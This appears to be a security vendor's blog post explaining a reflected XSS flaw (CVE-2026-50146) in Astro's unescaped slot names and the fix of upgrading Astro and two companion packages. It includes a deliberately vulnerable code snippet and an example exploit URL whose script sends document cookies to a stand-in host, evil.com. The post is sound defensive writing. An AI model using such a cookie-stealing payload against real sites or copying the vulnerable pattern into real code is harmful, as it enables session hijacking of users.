Back to Blog
critical SEVERITY7 min read

How Reflected XSS happens in Astro and how to fix it

CVE-2026-50146 is a reflected cross-site scripting (XSS) vulnerability in Astro versions prior to 6.3.3, where unescaped slot names could be injected into rendered HTML. The fix upgrades Astro from 5.18.1 to 6.3.3 (along with related packages `@astrojs/starlight` and `starlight-blog`), closing a code path that allowed attacker-controlled input to reach the browser without sanitization. Any Astro-based site that renders dynamic slot names from untrusted sources was potentially exposed to session

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

CVE-2026-50146 is a reflected XSS vulnerability (CWE-79) in the Astro JavaScript framework affecting versions up to 5.18.1. It arises because slot names in Astro components were not HTML-escaped before being written into the rendered output, allowing an attacker to inject arbitrary JavaScript via a crafted URL. The fix is to upgrade Astro to 6.3.3 (and the companion packages `@astrojs/starlight` to 0.38.x and `starlight-blog` to 0.26.x), which properly escapes slot name values before rendering. Trivy flagged this in `pnpm-lock.yaml`, and the change is limited to `package.json` and `pnpm-lock.yaml`.

Vulnerability at a Glance

cweCWE-79
fixUpgrade astro from 5.18.1 to 6.3.3, @astrojs/starlight to 0.38.5, and starlight-blog to 0.26.1
riskAttacker injects JavaScript into a victim's browser session via a crafted URL
languageJavaScript / TypeScript (Astro framework)
root causeAstro 5.x did not HTML-escape slot names before inserting them into rendered output
vulnerabilityReflected Cross-Site Scripting (XSS)

How Reflected XSS Happens in Astro and How to Fix It

The Vulnerability at a Glance

Field Detail
CVE CVE-2026-50146
Severity HIGH
CWE CWE-79 – Improper Neutralization of Input During Web Page Generation
Affected versions Astro ≤ 5.18.1
Fixed in Astro 6.3.3
Detected by Trivy (rule CVE-2026-50146) in pnpm-lock.yaml

Introduction

The pnpm-lock.yaml file in this project pinned Astro to version 5.18.1 — a version that Trivy's vulnerability database now flags as containing a reflected XSS flaw. CVE-2026-50146 describes a scenario where unescaped slot names in Astro components are written directly into rendered HTML, giving an attacker a vector to inject arbitrary JavaScript into a visitor's browser session simply by crafting a malicious URL.

For developers building documentation sites, marketing pages, or any public-facing Astro application, this is a concrete reminder that framework-level output encoding is not always a given — and that dependency pinning without regular updates can quietly accumulate exploitable risk.


The Vulnerability Explained

What Are Slot Names in Astro?

Astro's component model supports named slots, which allow parent components to inject content into specific regions of a child component. A slot might be referenced like this:

<!-- Parent -->
<MyLayout>
  <article slot="main-content">Hello world</article>
</MyLayout>

The slot attribute value ("main-content" in this case) is used internally by Astro's rendering engine to route content. In Astro 5.x, the code path that handles these slot names did not apply HTML escaping before writing the name into the rendered output.

The Vulnerable Code Path

While the slot-name escaping bug lives inside Astro's own internals (not directly in the application's source files), the vulnerability is surfaced through the locked dependency in pnpm-lock.yaml:

# BEFORE (vulnerable)
astro:
  specifier: ^5.6.1
  version: 5.18.1(@types/node@24.12.0)(rollup@4.60.0)(typescript@5.9.3)

Any Astro component that renders a slot whose name is derived from — or reflected back from — a URL parameter, query string, or other user-controlled input would pass that value through the unescaped rendering pipeline.

How an Attacker Exploits This

Consider a documentation site (exactly the kind of site that @astrojs/starlight and starlight-blog are built for) that constructs a slot name dynamically based on a URL fragment or query parameter for tab-based navigation:

---
// Simplified illustration of the vulnerable pattern
const activeTab = Astro.url.searchParams.get('tab') ?? 'overview';
---
<TabLayout>
  <section slot={activeTab}>...</section>
</TabLayout>

With Astro 5.x's unescaped slot handling, an attacker could craft a URL like:

https://docs.example.com/guide?tab="><script>document.location='https://evil.com/steal?c='+document.cookie</script>

Astro would render the slot name verbatim into the HTML output. When a victim clicks that link, the injected <script> tag executes in their browser — stealing session cookies, redirecting to phishing pages, or performing actions on their behalf.

Real-World Impact

For a documentation or blog site powered by @astrojs/starlight and starlight-blog:

  • Session hijacking: Authentication cookies sent to an attacker-controlled server.
  • Credential phishing: A fake login overlay injected over the legitimate page.
  • Malware distribution: The attacker redirects visitors to a drive-by download.
  • Reputation damage: Users associate the injected content with the legitimate site.

Because this is reflected XSS (not stored), it requires social engineering to deliver the malicious URL — but phishing campaigns, shortened URLs, and SEO poisoning all make that a realistic threat.


The Fix

What Changed

The fix is a targeted dependency upgrade across two files — package.json and pnpm-lock.yaml — bumping three interrelated packages to versions that include the escaping fix:

Package Before After
astro 5.18.1 6.3.3
@astrojs/starlight 0.37.7 0.38.5
starlight-blog 0.25.3 0.26.1

Before and After

package.json — Before:

{
  "dependencies": {
    "@astrojs/starlight": "^0.37.6",
    "astro": "^5.6.1",
    "starlight-blog": "^0.25.2"
  }
}

package.json — After:

{
  "dependencies": {
    "@astrojs/starlight": "^0.38.0",
    "astro": "^6.3.3",
    "starlight-blog": "^0.26.0"
  }
}

pnpm-lock.yaml — Before:

astro:
  specifier: ^5.6.1
  version: 5.18.1(@types/node@24.12.0)(rollup@4.60.0)(typescript@5.9.3)

'@astrojs/starlight':
  specifier: ^0.37.6
  version: 0.37.7(astro@5.18.1(...))

starlight-blog:
  specifier: ^0.25.2
  version: 0.25.3(@astrojs/starlight@0.37.7(...))(astro@5.18.1(...))

pnpm-lock.yaml — After:

astro:
  specifier: ^6.3.3
  version: 6.3.3(@types/node@24.12.0)(rollup@4.60.0)

'@astrojs/starlight':
  specifier: ^0.38.0
  version: 0.38.5(astro@6.3.3(...))

starlight-blog:
  specifier: ^0.26.0
  version: 0.26.1(@astrojs/starlight@0.38.5(...))(astro@6.3.3(...))

Why All Three Packages?

@astrojs/starlight and starlight-blog are peer-dependent on a specific major version of Astro. Upgrading Astro to v6 required upgrading both companion packages to their v6-compatible releases. This is a common pattern in the Astro ecosystem — the lock file's peer-dependency resolution chains mean you can't safely upgrade one without the others.

The change is deliberately minimal in scope: only the three packages on the vulnerable dependency path were updated. No application logic, configuration, or content was modified, preserving existing behavior for all valid inputs.


Key Takeaways

  • Astro 5.x did not escape slot names before rendering — any dynamic slot name derived from user input was a reflected XSS vector.
  • pnpm-lock.yaml is a security artifact, not just a reproducibility tool. Scanning it with Trivy revealed the vulnerable 5.18.1 pin immediately.
  • Upgrading Astro from 5.18.1 to 6.3.3 resolves CVE-2026-50146 by fixing the escaping logic inside the framework's rendering pipeline.
  • Peer-dependency chains matter: bumping Astro's major version required co-upgrading @astrojs/starlight (0.37.7 → 0.38.5) and starlight-blog (0.25.3 → 0.26.1) to maintain compatibility.
  • Reflected XSS in documentation sites is a real threat — these sites are publicly indexed, widely linked, and often trusted by developers who might be logged in to related services.

How Orbis AppSec Detected This

  • Source: The attacker-controlled value enters via a crafted URL — specifically through slot name values that Astro's 5.x rendering pipeline reflected without escaping.
  • Sink: Astro's internal slot-name rendering code in version 5.18.1, which wrote the unescaped slot identifier directly into the HTML output delivered to the browser.
  • Missing control: HTML entity encoding / output escaping was absent for slot name values in Astro's component rendering path prior to version 6.3.3.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: Upgraded astro from 5.18.1 to 6.3.3 in pnpm-lock.yaml and package.json, which introduces proper escaping of slot names in the rendering pipeline.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-50146 is a sharp reminder that framework internals are part of your attack surface. You don't have to write eval() or innerHTML yourself to introduce XSS — a version of Astro that doesn't escape slot names is enough. The fix here is clean and contained: two files changed, three packages bumped, zero behavior change for legitimate users.

The broader lesson is that dependency scanning belongs in every CI pipeline, and lock files deserve the same security scrutiny as hand-written code. A single Trivy scan of pnpm-lock.yaml was all it took to surface this HIGH-severity issue before it could be exploited.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #820

Related Articles

critical

fast-xml-parser 4.5.0 XSS: DOCTYPE Entity Injection in XML.parse()

fast-xml-parser versions 4.5.0 and earlier fail to sanitize DOCTYPE entity declarations during XML parsing, allowing attackers to inject JavaScript through crafted XML payloads. The vulnerability permits reflected XSS in applications that process untrusted XML input. Upgrading to version 5.7.0 eliminates the unsafe entity expansion path.

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.